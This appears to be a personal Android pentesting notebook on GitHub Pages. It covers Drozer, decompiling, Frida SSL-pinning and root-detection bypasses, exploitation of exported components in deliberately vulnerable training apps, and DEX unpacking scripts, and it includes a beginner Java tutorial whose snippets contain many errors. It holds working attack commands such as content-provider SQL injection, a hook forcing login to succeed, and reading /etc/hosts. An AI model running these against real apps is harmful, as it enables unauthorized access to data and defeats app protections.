root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

ANDROID PENTESTING


Exporting apk with adb



Using Drozer


image


image

drozer console connect --server <ip-addr>

Syntax-: adb forward tcp:<port> tcp:<port>

image

image


Drozer Console Commands


Syntax-:run app.package.list -f <package>

image

Syntax-:run app.package.info -a <package's identifier>

image

Syntax-:run app.package.attacksurface <identifier>

image

Syntax-:run app.activity.info -a <identifier>

image

image

Syntax-: run app.activity.start --component [identifier] [activity]

image

image

Syntax-:run app.provider.info -a [identifier]

image

Syntax-:run scanner.provider.finduris -a [identifier]

image

Syntax-:run app.provider.query content://[url]

image

run app.provider.insert <content uris> --string pin 1111 --string Password H4ck3d
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/

image

Syntax-:run scanner.provider.sqltables -a <identifier>

image

Syntax-:run app.provider.query <content uri> --projection "* FROM SQLITE_MASTER where type=’table’;--"

image

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "1 or 1=1"

image

Syntax-:run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

image


REFERENCE-:



Decompiling apk files


apktool d -rs <apk>


Converting dex files to jar files


d2j-dex2jar <classes.dex>


Use jadx-gui to read decompiled jar file


jadx-gui <classes.jar>


Android Internals 101


What happens when an Android phone boots up



BOOT ROM



Bootloader



Kernel



Init



Zygote and VM



SYSTEM SERVERS



Activity Manager



Android Architecture Build Process



SSL Unpinning with Objection [another approach]


Syntax-:objection patchapk -s <apk's name>

image

image


APK DEBUG PROCESS


Understanding the Java Virtual Machine



Android Virtual Machine



Compilation process



ART over DALVIK



Understanding the whole process


image

image


Signing the apk


image


Java for Android


public class Hello {
	public static void main(String[] args){
    System.out.println("Hello world!!");		
	}
}
//TODO-:

image

public class Hello {
	public static void main(String[] args){
    System.out.println("Hello world!!");
    //Number
    int number = -5;
    System.out.println(number);	
	}
}
long number = 5;
System.out.println(num);
public class Hello {
	public static void main(String[] args){
    System.out.println("Hello world!!");
    //Number
    int number = -5;
    System.out.println(number);
    long num = 5;
    System.out.println(num);
    double myDouble = 2.5;
    //float
    float myFloat = (float) 2.9;
    System.out.println(myDouble);	
    System.out.println(myFloat);
	}
}
char myUnicodeChar =  '\u00A9';
System.out.println(myChar);
System.out.println(myUnicodeChar);
String myString = "Meisma";
Boolean myBool = true;
int a  =  5;
int b  = 10;
double answer =  (double) a / b ;
System.out.println(answer);
String string1 = "Man";
String string2 = "go";
System.out.println(string1 + string2);

Relational and Logical Operators && Conditions



int num = 9;
if (num>10) {
   System.out.println("Greater than 10");
} else {
   Systemm.out.println("Lesser thn 10");
}

switch (num) {
   case 10:
        System.out.println("Wrong");
        break;
   case 9:
        System.out.println("Correct");
        break;
   default:
        System.out.println("LMAO!!!");
        break;				
}

Loops


public class Main {
	public static void main(String[] args) {
		int num = 0;
		while (true) {
			num+=1;
			System.out.println("Hello");
		    if (num == 7) {
			   System.out.println("Life is hard");
		       break;
			}
		}
	}
}
do{
  System.out.println("Milk");
} while (x<5);
import java.util.Scanner;
public class Main {
    public static void main(String[] args) {
        System.out.println("Enter a number: ");
        Scanner myScanner = Scanner(System.in);
        int answer = new myScanner.nextInt(); //nextInt() should be used for a number
        System.out.println("The answer is :" + answer);
    }
}
String string = new myScanner.next();

import javax.swing.JOptionPane;
import javax.swing.JOptionPane;
public class Main {
	public static void main(String[] args) {
	  String first_name;
	  first_name = JOptionPane.showInputDialog("FirstName");//showInputDialog
	  System.out.println(first_name);
	}
}
import javax.swing.JOptionPane;
public class Main {
	public static void main(String[] args) {
	  String first_name,second_name,full_name;
	  first_name = JOptionPane.showInputDialog("FirstName-: ");//showInputDialog
	  second_name = JOptionPane.showInputDialog("SecondName-: ");
	  //full_name
	  full_name = "Your name is "+ first_name + " " + second_name;
	  JOptionPane.showMessageDialog(null,full_name);
	  System.exit(0);
	}
}
JOptionPane.showMessageDialog(null,full_name,"Name",JOptionPane.INFORMATION_MESSAGE);
ERROR_MESSAGE
PLAIN_MESSAGE
QUESTION_MESSAGE
WARNING_MESSAGE

import java.util.Random;

public class Main {
	public static void main(String[] args){
		System.out.println("Random numbers");
		Random random = new Random();
		int number = random.nextInt();
		System.out.println(number);
	}
}
int number = random.nextInt(20); //The argument 20 is the limit
public class Main {
	public static void main(String[] args) {
		//Arrays in java
	     String[] students = {"Meisam","Zombies","Daddy","Great","Deadbeat"};
		 System.out.println(students[0]);  
	}
}
public class Main {
	public static void main(String[] args) {
		 //Arrays in java
	         String[] students = new String[5]; //Defining the amount of memory
		 students[0] = "Meisam";
		 students[1] = "Sarah";
		 System.out.println(students[0]);  
		 
	}
}
public class Main {
	public static void main(String[] args) {
		//Arrays in java
	     String[] students = new String[5];
		 students[0] = "Meisam";
		 students[1] = "Sarah";
		 students[2] = "Sarah";
		 students[3] = "Sarah";
		 students[4] = "Sarah";
		 for (int i=0; i<5; i++) {
			 System.out.println(students[i]);
		 }
		 
	}
}
public class Main {
	public static void main(String[] args) {
		//Arrays in java
	     String[] students = new String[5];
		 students[0] = "Meisam";
		 students[1] = "Sarah";
		 students[2] = "Sarah";
		 students[3] = "Sarah";
		 students[4] = "Sarah";
		 System.out.println("[+] Array's length is : " + students.length);
		 for (int i=0; i<students.length; i++) {
			 System.out.println(students[i]);
		 }
		 
	}
}

Object Oriented Programming


public class Phone {
	String name;
	int phoneNumber;
	int userSignature;
	String userModel;
	String imeiString;
}
public class Main {
	public static void main(String[] args) {
		Phone iphone = new Phone();//Creating an instance of a class
		//Attributes
		iphone.name = "Iphone 11"; 
		iphone.phoneNumber = "08109978500";
		//Accessing the field of a class
		System.out.println(iphone.name);
	}
}
public class Phone {
	String name;
	String phoneNumber;
	//Creating a methodd
	//If you don't want to return any value, use the keyword void as seen below
	public void printString(String trackName) {
		System.out.println("Playing track :" + trackName);
	}
}
iphone.printString("Bahubali");
public class Phone {
	String name;
	String phoneNumber;
	//Use of access modifiers
	public String model = "SM-1234";
System.out.println(iphone.model);
public class Phone {
	String name;
	String phoneNumber;
	//Use of access modifiers
	private String model = "SM-1234";
	//Creating a methodd
	//If you don't want to return any value, use the keyword void as seen below
	public void printString(String trackName) {
		System.out.println("Playing track :" + trackName);
	}
	public void accessPrivateField() {
		System.out.println(model);
	} 
}
public class Phone {
	private String name;
	String phoneNumber;
	//Use of access modifiers
	private String model = "SM-1234";
	//Creating a methodd
	//If you don't want to return any value, use the keyword void as seen below
	public void printString(String trackName) {
		System.out.println("Playing track :" + trackName);
	}
	public void accessPrivateField() {
		System.out.println(model);
	}
    //set class field 'name'	
	public void setName(String name){
		this.name = name;
	}
	//return class field name	
	public String getName() {
		return this.name;
	}
}
public class Main {
	public static void main(String[] args) {
		Phone iphone = new Phone();//Creating an instance of a class
		//Attributes
		//iphone.name = "Iphone 11"; 
		iphone.phoneNumber = "08109484844978500";
		//Accessing the field of a class
		//System.out.println(iphone.name);
		iphone.accessPrivateField();
		iphone.printString("Bahubali");
		iphone.setName("Iphone 22");
		//System.out.println(iphone.name);
		System.out.println(iphone.getName());
	}
}

Creating a constructor


public Phone(String name,String phoneNumber) {
		this.name = this.name;
		this.phoneNumber = phoneNumber;
		this.model =  "SM-1234";
	}

SuperClass Animal-:

public class Animal {
	private String name;
	private String typeA;
	private int legNumbers;
	private Boolean hasTail;
	
	public Animal(String name,String typeA,int legNumber,Boolean hasTail) {
		this.name = name;
		this.typeA = typeA;
		this.legNumbers = legNumber;
		this.hasTail = hasTail;
	}
	
	public void setName(String name) {
	    this.name = name;
	
	}
	public void setTypeA(String name) {
	    this.typeA = typeA;
	
	}
}
public class Bird extends Animal {
	public Bird(String name,String typeA,int legNumber,Boolean hasTail){
	super(name,typeA,legNumber,hasTail);
	}
}
//Bird
public class Main{
	public static void main(String[] args) {
		//Instatiating our Bird class
		Bird phoenix = new Bird("Bangis","Parrot",10,true);
		//Setting a Name
		phoenix.setName("Hawk");
		//Accessing the superclass function
		System.out.println(phoenix.getName());
	}
}
public class Bird extends Animal {
	private int wings;
	public Bird (String name,String typeA,int legNumber,Boolean hasTail,int wings){
	super(name,typeA,legNumber,hasTail);
	this.wings = wings;
	}
	public void canFly() {
		if (this.wings > 0) {
			System.out.println("[+]Can fly");
		} else {
			System.out.println("[+]Cannot fly");
		}
	}
	public void setWings(int wings) {
		this.wings = wings;
	}
	public int getWings() {
		return this.wings;
	}
}

Animal class-:

public void eat(String food) {
		System.out.println(this.name + " eats " + food);
	}

Bird Class-:

@Override
	public void eat(String food) {
		super.eat(food);
	}
public void canFly() {
		if (this.wings > 0) {
			System.out.println("[+]Can fly");
		} else {
			System.out.println("[+]Cannot fly");
		}
	}
	public void canFly(int wings){
		if (wings > 0) {
			System.out.println("[+]Can fly");
		} else {
			System.out.println("[+]Cannot fly");
		}
	}
final String x = "Sleep";
x = "sleep";
System.out.println(x);

image


ArrayList


import java.util.ArrayList
ArrayList<String> names = new ArrayList<>();
names.add("Meisam");
names.add("Sarah");
names.get(0);
names.size();
names.contains("Shayla");
names.remove("Value");
names.indexOf("Shayla");
names.isEmpty()

MAP


import java.util.Map;
//<> contains the  data type for the key and value
Map<String,String> contacts = new HashMap<String, String>();
contacts.put("Meisam","08109978500");
contacts.get("Meisam");
contacts.size()
contacts.remove("Meisam");
contacts.containsKey("Me");
contacts.containsValue("08109978585858558");
for (type var : array) {
    statements using var;
}

Static keyword - Inner Classes


public class Student {
	public static String name;
	private int id;
	private String falseName;
	public Student(int id,String falseName) {
		this.id = id;
	}
	public void setName(String name){
		this.name =  name;
	}
	public void setId(int id){
		this.id =  id;
	}
	public void setFalseName(String falseName) {
		this.falseName = falseName;
	}
	public String getName(){
		return this.name;
	}
	public int getId(){
		return this.id;
	}
	public String getFalseName(){
		return this.falseName;
	}
}
public class Main {
	public static void main(String[] args) {
		Student student = new Student(10,"Sarah");
	    student.setName("Lame");
		System.out.println(student.getName());
		 
	}
}
Student.name =  "Kris";
public class Student {
	private int id;
	private String name;
	
	public class innerClass {
		private int innerId;
		private String innerName;
		
		public innerClass(int innerId,String innerName) {
			this.innerId = innerId;
			this.innerName = innerName;
		}
	}
}
Student.innerClass inner = new Student().new innerClass(1,"Name");

Nox emulator adb not connected



Installing frida-server



Running frida to spawn executable


frida --codeshare sahabrifki/okhttp3-obfuscated---ssl-pinning-bypass -f  "package-name" -U

Bypass Okhttp3 with multiple ssl pinning script


frida --codeshare akabe1/frida-multiple-unpinning  -f  "package-name" -U

image

adb push cacert.cer /data/local/tmp/root.cer

Nox_adb.exe location



Android Internals Review


public static int add(int x, int y) {
   return x + y;
}

image

Additionally, service interfaces that need to be exposed to other processes can be defined using the Android Interface Definition Language (AIDL), which enables clients to call remote services as if they were local Java objects. The associated AIDL tool automatically generates stubs (client-side representations of the remote object) and proxies that map interface methods to the lower-level transact() Binder method and take care of converting parameters to a format that Binder can transmit (this is called parameter marshalling/unmarshalling). Because Binder is inherently type-less, AIDL-generated stubs and proxies also provide type safety by including the target interface name in each Binder transaction (in the proxy) and validating it in the stub.


Setting up Apktool for windows



Check an app logs


adb shell pidof -s `package`
adb logcat [pid]

Setting up MobSf


git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
.\setup.bat
#Keep installing the missing modules
pip install waitress poetry six django whitenoise
# Run run.bat again
.\run.bat

Insecure Data Storage



Exported Android Activities


intent filter
android:exported="true"
adb shell am start com.example.package/.className
adb shell am start "data"  com.example.package/.className
adb shell am start -a [action] -c [category]  com.example.package/.className

image

image

image

adb shell am start owasp.sat.agoat/.AccessControl1ViewActivity -a "android.intent.action.VIEW" -a "android.intent.category.DEFAULT"

image


Exploiting Android Exported Components


adb shell am startservice com.example.package/.className
adb shell dumpsys activity services
adb shell am help | grep services

image

image

adb shell am  brodcast  -a MyBrodcast -n com.example.myapp/.MyClass -es number 1234
adb shell am start com.insecureshop/.AboutUsActivity
adb shell am broadcast -a com.insecureshop.CUSTOM_INTENT
 adb shell am broadcast -a com.insecureshop.CUSTOM_INTENT --es web_url "https://www.moviebox.com"

image

image

Java.perform(function() {
    var target = Java.use('com.insecureshop.util.Util');
    target.verifyUserNamePassword.overload('java.lang.String','java.lang.String').implementation =  function(username,password) {
        console.log("[+] Hooked verifyUserNamePassword");
        return true;
    }
})


fb://link/?web_url=124 //Less secure
adb shell dumpsys package <packagname>

image

adb shell am start -W "insecureshop://com.insecureshop/web?url=http://www.google.com"

Exploiting Android Data Storage



Merging Split Apks


java -jar APKEditor-1.4.9.jar m -i C:\path\
//Apks
//Ensure there is no debug.keystore
java -jar uber-apk-signer-1.3.0.jar --apks *_merged.apk
frida -U -l ./config.js -l ./native-connect-hook.js -l ./native-tls-hook.js -l ./android/android-proxy-override.js -l ./android/android-system-certificate-injection.js -l ./android/android-certificate-unpinning.js -l ./android/android-certificate-unpinning-fallback.js -l ./android/android-disable-root-detection.js  -l ./android/android-disable-flutter-certificate-pinning.js --codeshare licitrasimone/flutter-ssl-pinning-bypass

Installing ldplayer cert


openssl x509 -inform DER -in cacert.der -out cacert.pem
openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1
mv cacert.pem $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0;ls *.0
adb root
adb remount
adb push *0 /system/etc/security/cacerts/
adb shell "chmod 644 /system/etc/security/cacerts/[file]"
 adb shell settings put global http_proxy <wlan_ip>:<port>

image


Adb ports for Nox emulator


#Nox emulator
adb connect localhost:62001
adb connect localhost:62025

Fixing issue while unpinning


image


openssl x509 -inform DER -in cacert.der -out cacert.pem
openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1
mv cacert.pem $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0;ls *.0
#reducing certificates days
openssl x509 -inform DER -outform DER -days 100 -in copy.der -out cacert_new.der;openssl x509 -inform DER -in cacert_new.der -out cacert.pem;mv cacert.pem $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0;ls *.0
#Mount as read/write
adb shell "mount -o rw,remount /system"
adb push *.0 /system/etc/security/cacerts/

Fixing Memu r/w issue


image

adb shell "mount -o rw,remount /system"

Enabling react-native dev tools on android apps


.method public getUseDeveloperSupport()Z
    .locals 1

    const/4 v0, 0x1

    return v0
.end method
 adb shell input keyevent 82
#Allow draw over apps
adb shell appops set com.teamfonemobile SYSTEM_ALERT_WINDOW allow

Attacking Content Providers


# OVAA
 adb shell dumpsys package oversecured.ovaa | findstr "TheftOverwriteProvider"

image

<provider   android:name="oversecured.ovaa.providers.TheftOverwriteProvider"
            android:exported="true"
            android:authorities="oversecured.ovaa.theftoverwrite"/>
        <provider>

Starting services(Exploitng Insecure Logger)


<service android:name="oversecured.ovaa.services.InsecureLoggerService">
            <intent-filter>
                <action android:name="oversecured.ovaa.action.DUMP"/>
            </intent-filter>
        </service>
adb shell am startservice -a oversecured.ovaa.action.DUMP -n oversecured.ovaa/.services.InsecureLoggerService
am startservice: Tells the system to launch a background service.
-a oversecured.ovaa.action.DUMP: Supplies the intent action required by the filter.
-n oversecured.ovaa/.services.InsecureLoggerService: Specifies the explicit component name (package/class).
adb logcat |  findstr ovaa

image


Dealing with APK_Unpacker


pip3 install frida-dexdump
frida-dexdump -U -f <pkg>
# Method 1: Check for packer libraries
find decoded/lib/ -name "*.so" | grep -iE "jiagu|bangcle|ijiami|360|legu|mobisec|baidu|netease|arxan"

# Method 2: Use APKiD for packer detection
apkid app.apk

# Method 3: Check AndroidManifest for packer activities
grep -E "com.bangcle|com.secneo|com.alibaba|com.tencent" decoded/AndroidManifest.xml

# Method 4: Analyze smali for packer patterns
grep -r "DexClassLoader\|InMemoryDexClassLoader\|PathClassLoader" decoded/smali*/ | head -20

# Method 5: Check asset structure
ls -laR decoded/assets/ | grep -iE "\.dex|\.jar|encrypted|packed"

# Method 6: Look for unpacker stubs
strings decoded/lib/*/lib*.so | grep -iE "loader|unpak|decrypt|classloader"
# Search for DEX magic in memory
frida -U -f com.example.app << 'EOF'
Java.perform(function() {
    var dexCount = 0;
    var loadedDex = Java.use("dalvik.system.DexFile");

    loadedDex.loadDex.overload('java.lang.String', 'java.lang.String', 'int').implementation = function(path, optimizedDir, flags) {
        console.log("[DEX] Loading: " + path);
        dexCount++;
        return this.loadDex(path, optimizedDir, flags);
    };

    console.log("[DEX] Total DEX files loaded: " + dexCount);
});
EOF
#!/bin/bash
# auto-dexdump.sh - Automatic DEX dumping with organization

PACKAGE="${1:?Usage: $0 <package_name>}"
OUTPUT_DIR="${2:-./dexdump_$(date '+%Y%m%d_%H%M%S')}"

echo "[*] DEX Dumper for: $PACKAGE"
echo "[*] Output: $OUTPUT_DIR"

# Create output directory
mkdir -p "$OUTPUT_DIR"

# Start app and dump DEX
echo "[*] Starting app and dumping DEX files..."
frida-dexdump -U -f "$PACKAGE" -o "$OUTPUT_DIR" --all

# Wait for dumps
sleep 5

# Analyze dumped DEX files
echo "[*] Analyzing dumped DEX files..."
for dex in "$OUTPUT_DIR"/*.dex; do
    if [ -f "$dex" ]; then
        echo "  - $(basename "$dex"): $(du -h "$dex" | cut -f1)"

        # Extract strings for quick analysis
        strings "$dex" > "$OUTPUT_DIR/$(basename "$dex" .dex)_strings.txt"

        # Count classes
        dexdump -f "$dex" 2>/dev/null | grep "Class descriptor" | wc -l > "$OUTPUT_DIR/$(basename "$dex" .dex)_class_count.txt"
    fi
done

# Generate summary
echo "[*] Generating summary..."
cat > "$OUTPUT_DIR/summary.txt" << EOF
Package: $PACKAGE
Timestamp: $(date)
DEX Files: $(ls -1 "$OUTPUT_DIR"/*.dex 2>/dev/null | wc -l)
Total Size: $(du -sh "$OUTPUT_DIR"/*.dex 2>/dev/null | tail -1 | cut -f1)

Strings Files: $(ls -1 "$OUTPUT_DIR"/*_strings.txt 2>/dev/null | wc -l)
EOF

echo "[✓] DEX dump complete: $OUTPUT_DIR"
// memory_dex_dump.js - Advanced memory DEX dumping

var outputPath = "/sdcard/dexdump/";

Java.perform(function() {
    console.log("[*] Memory DEX Dumper Started");

    // Create output directory
    var File = Java.use("java.io.File");
    var outputDir = File.$new(outputPath);
    if (!outputDir.exists()) {
        outputDir.mkdirs();
    }

    // Method 1: Hook DexFile.loadDex
    var DexFile = Java.use("dalvik.system.DexFile");

    DexFile.loadDex.overload('java.lang.String').implementation = function(path) {
        console.log("[DEX] DexFile.loadDex: " + path);

        var result = this.loadDex(path);

        // Copy DEX file to output
        try {
            var sourcePath = path;
            var destPath = outputPath + "loaded_" + Date.now() + ".dex";

            var Files = Java.use("java.nio.file.Files");
            var Paths = Java.use("java.nio.file.Paths");

            Files.copy(Paths.get(sourcePath), Paths.get(destPath));
            console.log("[+] Dumped: " + destPath);
        } catch (e) {
            console.log("[-] Copy failed: " + e);
        }

        return result;
    };

    // Method 2: Scan memory for DEX magic
    var Process = Java.use("android.os.Process");
    var Runtime = Java.use("java.lang.Runtime");

    function scanMemoryForDex() {
        console.log("[*] Scanning memory for DEX files...");

        // Read /proc/self/maps
        var BufferedReader = Java.use("java.io.BufferedReader");
        var FileReader = Java.use("java.io.FileReader");

        try {
            var reader = BufferedReader.$new(FileReader.$new("/proc/self/maps"));
            var line;
            var dexRegions = [];

            while ((line = reader.readLine()) !== null) {
                // Look for DEX file mappings
                if (line.indexOf(".dex") !== -1 || line.indexOf("classes") !== -1) {
                    dexRegions.push(line);
                    console.log("[MEM] " + line);
                }
            }

            reader.close();
            console.log("[*] Found " + dexRegions.length + " DEX memory regions");

        } catch (e) {
            console.log("[-] Memory scan failed: " + e);
        }
    }

    // Run scan after 5 seconds
    setTimeout(function() {
        scanMemoryForDex();
    }, 5000);

    console.log("[*] Memory DEX Dumper Ready");
});
// memory_dex_dump.js - Advanced memory DEX dumping

var outputPath = "/sdcard/dexdump/";

Java.perform(function() {
    console.log("[*] Memory DEX Dumper Started");

    // Create output directory
    var File = Java.use("java.io.File");
    var outputDir = File.$new(outputPath);
    if (!outputDir.exists()) {
        outputDir.mkdirs();
    }

    // Method 1: Hook DexFile.loadDex
    var DexFile = Java.use("dalvik.system.DexFile");

    DexFile.loadDex.overload('java.lang.String').implementation = function(path) {
        console.log("[DEX] DexFile.loadDex: " + path);

        var result = this.loadDex(path);

        // Copy DEX file to output
        try {
            var sourcePath = path;
            var destPath = outputPath + "loaded_" + Date.now() + ".dex";

            var Files = Java.use("java.nio.file.Files");
            var Paths = Java.use("java.nio.file.Paths");

            Files.copy(Paths.get(sourcePath), Paths.get(destPath));
            console.log("[+] Dumped: " + destPath);
        } catch (e) {
            console.log("[-] Copy failed: " + e);
        }

        return result;
    };

    // Method 2: Scan memory for DEX magic
    var Process = Java.use("android.os.Process");
    var Runtime = Java.use("java.lang.Runtime");

    function scanMemoryForDex() {
        console.log("[*] Scanning memory for DEX files...");

        // Read /proc/self/maps
        var BufferedReader = Java.use("java.io.BufferedReader");
        var FileReader = Java.use("java.io.FileReader");

        try {
            var reader = BufferedReader.$new(FileReader.$new("/proc/self/maps"));
            var line;
            var dexRegions = [];

            while ((line = reader.readLine()) !== null) {
                // Look for DEX file mappings
                if (line.indexOf(".dex") !== -1 || line.indexOf("classes") !== -1) {
                    dexRegions.push(line);
                    console.log("[MEM] " + line);
                }
            }

            reader.close();
            console.log("[*] Found " + dexRegions.length + " DEX memory regions");

        } catch (e) {
            console.log("[-] Memory scan failed: " + e);
        }
    }

    // Run scan after 5 seconds
    setTimeout(function() {
        scanMemoryForDex();
    }, 5000);

    console.log("[*] Memory DEX Dumper Ready");
});
#!/usr/bin/env python3
"""
dex_reconstructor.py - Reconstruct DEX from memory dumps
"""

import os
import sys
import struct
from pathlib import Path

class DEXReconstructor:
    """Reconstruct valid DEX files from memory dumps"""

    DEX_MAGIC = b'dex\n035\x00'
    DEX_MAGIC_037 = b'dex\n037\x00'

    def __init__(self, output_dir: str):
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(parents=True, exist_ok=True)

    def validate_dex_header(self, data: bytes) -> bool:
        """Validate DEX file header"""
        if len(data) < 112:
            return False

        magic = data[:8]
        return magic == self.DEX_MAGIC or magic == self.DEX_MAGIC_037

    def repair_dex_header(self, data: bytes) -> bytes:
        """Repair corrupted DEX header"""
        if len(data) < 112:
            raise ValueError("Data too small for DEX file")

        # Ensure magic
        if data[:4] != b'dex\n':
            data = self.DEX_MAGIC + data[8:]

        # Recalculate checksum
        checksum = sum(data[32:]) & 0xFFFFFFFF
        data = data[:32] + struct.pack('<I', checksum) + data[36:]

        # Recalculate SHA1 signature
        import hashlib
        sha1 = hashlib.sha1(data[32:]).digest()
        data = data[:12] + sha1 + data[32:]

        return data

    def parse_dex_header(self, data: bytes) -> dict:
        """Parse DEX header information"""
        if not self.validate_dex_header(data):
            raise ValueError("Invalid DEX header")

        header = {
            'magic': data[:8].decode('utf-8', errors='ignore'),
            'checksum': struct.unpack('<I', data[8:12])[0],
            'signature': data[12:32].hex(),
            'file_size': struct.unpack('<I', data[32:36])[0],
            'header_size': struct.unpack('<I', data[36:40])[0],
            'endian_tag': data[40:44].hex(),
            'link_size': struct.unpack('<I', data[44:48])[0],
            'link_off': struct.unpack('<I', data[48:52])[0],
            'map_off': struct.unpack('<I', data[52:56])[0],
            'string_ids_size': struct.unpack('<I', data[56:60])[0],
            'string_ids_off': struct.unpack('<I', data[60:64])[0],
            'type_ids_size': struct.unpack('<I', data[64:68])[0],
            'type_ids_off': struct.unpack('<I', data[68:72])[0],
            'proto_ids_size': struct.unpack('<I', data[72:76])[0],
            'proto_ids_off': struct.unpack('<I', data[76:80])[0],
            'field_ids_size': struct.unpack('<I', data[80:84])[0],
            'field_ids_off': struct.unpack('<I', data[84:88])[0],
            'method_ids_size': struct.unpack('<I', data[88:92])[0],
            'method_ids_off': struct.unpack('<I', data[92:96])[0],
            'class_defs_size': struct.unpack('<I', data[96:100])[0],
            'class_defs_off': struct.unpack('<I', data[100:104])[0],
            'data_size': struct.unpack('<I', data[104:108])[0],
            'data_off': struct.unpack('<I', data[108:112])[0],
        }

        return header

    def reconstruct_from_memory(self, memory_dump: bytes, output_name: str = None) -> str:
        """
        Reconstruct DEX file from memory dump.
        Memory dumps may contain multiple DEX files concatenated.
        """

        dex_files = []
        offset = 0

        while offset < len(memory_dump):
            # Search for DEX magic
            dex_start = memory_dump.find(self.DEX_MAGIC, offset)
            if dex_start == -1:
                dex_start = memory_dump.find(self.DEX_MAGIC_037, offset)

            if dex_start == -1:
                break

            # Try to find file size
            try:
                file_size = struct.unpack('<I', memory_dump[dex_start+32:dex_start+36])[0]
                dex_data = memory_dump[dex_start:dex_start+file_size]

                # Validate and repair if needed
                if self.validate_dex_header(dex_data):
                    dex_files.append(dex_data)
                else:
                    # Try to repair
                    repaired = self.repair_dex_header(dex_data)
                    if self.validate_dex_header(repaired):
                        dex_files.append(repaired)

                offset = dex_start + file_size
            except:
                offset = dex_start + 1

        # Save reconstructed DEX files
        saved_files = []
        for i, dex_data in enumerate(dex_files):
            name = output_name or f"reconstructed_{i}"
            if len(dex_files) > 1:
                name = f"{name}_{i}"

            output_path = self.output_dir / f"{name}.dex"
            output_path.write_bytes(dex_data)
            saved_files.append(str(output_path))

            # Print header info
            header = self.parse_dex_header(dex_data)
            print(f"[+] Saved: {output_path}")
            print(f"    Size: {header['file_size']} bytes")
            print(f"    Classes: {header['class_defs_size']}")
            print(f"    Methods: {header['method_ids_size']}")

        return saved_files

    def merge_dex_files(self, dex_files: list, output_name: str = "merged") -> str:
        """
        Merge multiple DEX files into single APK-like structure.
        Note: This creates a valid multi-dex APK structure.
        """

        import zipfile

        output_path = self.output_dir / f"{output_name}.apk"

        with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as apk:
            # Add AndroidManifest.xml (minimal)
            manifest = b'''<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.reconstructed.app">
</manifest>'''
            apk.writestr("AndroidManifest.xml", manifest)

            # Add DEX files
            for i, dex_file in enumerate(dex_files):
                name = "classes.dex" if i == 0 else f"classes{i+1}.dex"
                dex_data = Path(dex_file).read_bytes() if isinstance(dex_file, str) else dex_file
                apk.writestr(name, dex_data)

        print(f"[+] Created APK: {output_path}")
        return str(output_path)


# CLI usage
if __name__ == "__main__":
    import argparse

    parser = argparse.ArgumentParser(description="DEX Reconstructor")
    parser.add_argument("input", help="Memory dump file or directory")
    parser.add_argument("-o", "--output", default="./reconstructed", help="Output directory")
    parser.add_argument("--merge", action="store_true", help="Merge into APK")

    args = parser.parse_args()

    reconstructor = DEXReconstructor(args.output)

    input_path = Path(args.input)

    if input_path.is_file():
        # Single memory dump file
        data = input_path.read_bytes()
        dex_files = reconstructor.reconstruct_from_memory(data)
    elif input_path.is_dir():
        # Directory of memory dumps
        dex_files = []
        for dump_file in input_path.glob("*.dump"):
            data = dump_file.read_bytes()
            dex_files.extend(reconstructor.reconstruct_from_memory(data, dump_file.stem))
    else:
        print(f"Error: {input_path} not found")
        sys.exit(1)

    if args.merge and dex_files:
        reconstructor.merge_dex_files(dex_files)
// generic_unpacker.js - Detect and unpack any packer

/*
Generic Packer Unpacker
=======================
This script detects and unpacks most common Android packers.
It works by:
1. Detecting packer signatures in native libraries
2. Hooking all ClassLoader variants
3. Dumping DEX files as they're loaded
4. Saving memory regions containing DEX magic
*/

var OUTPUT_DIR = "/sdcard/unpacked_dex/";

Java.perform(function() {
    console.log("[*] Generic Packer Unpacker Started");
    console.log("[*] Output: " + OUTPUT_DIR);

    // Create output directory
    var File = Java.use("java.io.File");
    var outputDir = File.$new(OUTPUT_DIR);
    outputDir.mkdirs();

    // Detect packer from native libraries
    function detectPacker() {
        console.log("\n[*] Detecting packer...");

        var ApplicationInfo = Java.use("android.content.pm.ApplicationInfo");
        var context = Java.use("android.app.ActivityThread").currentApplication().getApplicationContext();
        var appInfo = context.getApplicationInfo();
        var nativeLibraryDir = appInfo.nativeLibraryDir;

        console.log("[*] Library dir: " + nativeLibraryDir);

        // Check for packer signatures
        var packerSignatures = {
            "360_jiagu": ["libjiagu.so", "libjiagu_"],
            "bangcle": ["libsecexe.so", "libsecmain.so"],
            "ijiami": ["libijiami.so"],
            "tencent_legu": ["liblegen.so", "liblegu.so"],
            "ali_protect": ["libmobisec.so", "libsgmain.so"],
            "qihoo": ["lib360protect.so"],
            "baidu": ["libbaidu.so", "libbdt.so"],
            "netease": ["libnetease.so"],
            "arxan": ["libAppProtection.so"]
        };

        var libDir = File.$new(nativeLibraryDir);
        var files = libDir.listFiles();

        var detectedPackers = [];

        files.forEach(function(file) {
            var name = file.getName();

            for (var packer in packerSignatures) {
                for (var i = 0; i < packerSignatures[packer].length; i++) {
                    if (name.indexOf(packerSignatures[packer][i]) !== -1) {
                        console.log("[+] Detected packer: " + packer + " (" + name + ")");
                        detectedPackers.push({
                            name: packer,
                            library: name
                        });
                    }
                }
            }
        });

        if (detectedPackers.length === 0) {
            console.log("[-] No known packer detected (may be custom or unknown)");
        }

        return detectedPackers;
    }

    // Dump DEX file
    function dumpDex(dexPath, label) {
        console.log("[*] Dumping DEX: " + dexPath);

        try {
            var Files = Java.use("java.nio.file.Files");
            var Paths = Java.use("java.nio.file.Paths");
            var timestamp = Date.now();

            var destPath = OUTPUT_DIR + label + "_" + timestamp + ".dex";

            Files.copy(Paths.get(dexPath), Paths.get(destPath));

            console.log("[+] Dumped: " + destPath);
            return destPath;
        } catch (e) {
            console.log("[-] Dump failed: " + e);
            return null;
        }
    }

    // Hook all ClassLoader variants
    function hookClassLoader() {
        console.log("\n[*] Hooking ClassLoader variants...");

        // DexClassLoader
        try {
            var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
